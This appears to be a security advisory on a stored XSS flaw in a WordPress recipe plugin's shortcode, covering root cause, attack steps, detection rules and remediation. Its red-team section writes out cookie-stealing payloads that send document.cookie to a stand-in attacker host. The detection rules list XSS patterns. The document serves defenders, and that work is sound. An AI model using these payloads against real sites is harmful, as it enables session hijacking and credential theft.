CVE-2025-14385

Executive Summary

CVE-2025-14385 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 10.2.3. The flaw resides in the wprm-recipe-roundup-item shortcode, where the name parameter is insufficiently sanitized and escaped. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into pages. When a victim (including administrators) visits the compromised page, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used recipe plugin, and the stored nature of the XSS means the payload persists until manually removed. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the lack of a patch increases risk over time.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users should monitor for updates and verify plugin integrity via checksums provided by WordPress.org. No third-party package manager (NPM, PyPI, etc.) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs Contributor-level access.
• User Interaction (UI): Required – victim must visit the injected page.
• Scope (S): Changed – the injected script can affect other components (e.g., admin dashboard).
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can lead to privilege escalation if an admin visits the page.

Deep Dive & Mechanics

The vulnerability exists in the wprm-recipe-roundup-item shortcode, which is used to display recipe roundup items. The name attribute is processed without proper sanitization or output escaping. When the shortcode is rendered, the name value is inserted directly into the HTML without being encoded, allowing an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Root Cause: The plugin uses esc_attr() or similar escaping inconsistently, or the name parameter is passed through a function that does not escape output. The shortcode handler likely retrieves the name attribute and echoes it without calling esc_html() or wp_kses_post().

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates or edits a post/page and inserts the [wprm-recipe-roundup-item name="..."] shortcode.
3. The name parameter contains a malicious payload, e.g., "><script>alert('XSS')</script>.
4. When the page is saved and viewed by any user, the script executes.

WordPress Context: This is a WordPress plugin vulnerability. The attack is performed within the WordPress admin interface (post editor) and affects front-end visitors. No server-side software like Apache or Nginx is implicated.

Vulnerable vs. Patched Code

Vulnerable Code (<= 10.2.3):

// In shortcode handler (simplified)
function wprm_recipe_roundup_item_shortcode($atts) {
    $atts = shortcode_atts(array('name' => ''), $atts);
    $name = $atts['name'];
    // Direct output without escaping
    return '<div class="wprm-recipe-roundup-item">' . $name . '</div>';
}

Patched Code (Hypothetical):

function wprm_recipe_roundup_item_shortcode($atts) {
    $atts = shortcode_atts(array('name' => ''), $atts);
    $name = esc_html($atts['name']); // Properly escape
    return '<div class="wprm-recipe-roundup-item">' . $name . '</div>';
}

The fix requires using esc_html() or wp_kses_post() on the name parameter before output. Additionally, input validation should ensure the name does not contain HTML tags.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with WP Recipe Maker <= 10.2.3.
• Contributor-level account or higher.

Exploit Steps:

1. Log in to WordPress admin.
2. Create a new post or edit an existing one.
3. In the content editor (Text mode), insert the shortcode:

   [wprm-recipe-roundup-item name="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. When an admin or visitor views the post, the script executes, exfiltrating cookies.

Alternative Payload (Session Hijacking):

[wprm-recipe-roundup-item name="<img src=x onerror=document.location='https://attacker.com/steal?cookie='+document.cookie>"]

Note: No public exploit code exists in Exploit-DB or GitHub at this time.

Blue Team (Defender)

Detection:

• Monitor for posts containing the shortcode [wprm-recipe-roundup-item with suspicious name values.
• Use WAF rules to block XSS payloads in shortcode attributes.
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.

Hunting:

• Search database for posts containing wprm-recipe-roundup-item and <script or onerror patterns.
• Check for unexpected outbound connections from the web server to unknown domains.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-recipe-maker/ – version file indicates <= 10.2.3.
• Database: Posts/pages containing [wprm-recipe-roundup-item name="..."] with HTML/JavaScript in the name attribute.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing creation/editing of posts by Contributor-level users with suspicious shortcode usage.

Detection Engineering

YARA Rule

rule wp_recipe_maker_xss_cve_2025_14385 {
    meta:
        description = "Detects stored XSS payloads in WP Recipe Maker shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14385"
    strings:
        $shortcode = /\[wprm-recipe-roundup-item\s+name\s*=\s*["'][^"']*<[^>]*script[^>]*>["']/ nocase
        $payload = /<script[^>]*>.*<\/script>/ nocase
        $event_handler = /onerror\s*=|onload\s*=|onclick\s*=/ nocase
    condition:
        $shortcode and ($payload or $event_handler)
}

Sigma Rule

title: Stored XSS via WP Recipe Maker Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious wprm-recipe-roundup-item shortcode
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14385
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "wprm-recipe-roundup-item"
        http.body|contains:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14385 WP Recipe Maker Stored XSS"; flow:to_server,established; content:"wprm-recipe-roundup-item"; http_uri; content:"name="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict Contributor-level access to trusted users only.
3. Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
4. Manually audit all posts containing the wprm-recipe-roundup-item shortcode for malicious content.

Long-term Fix:

• Apply the official patch when released by the vendor.
• Implement input validation and output escaping for all shortcode attributes.
• Consider using a security plugin like Wordfence to detect and block XSS attempts.

Workaround:

• Edit the plugin file wp-recipe-maker/includes/shortcodes/class-wprm-recipe-roundup-item.php and add esc_html() around the $name variable. Note: This will be overwritten on plugin update.

Valters IT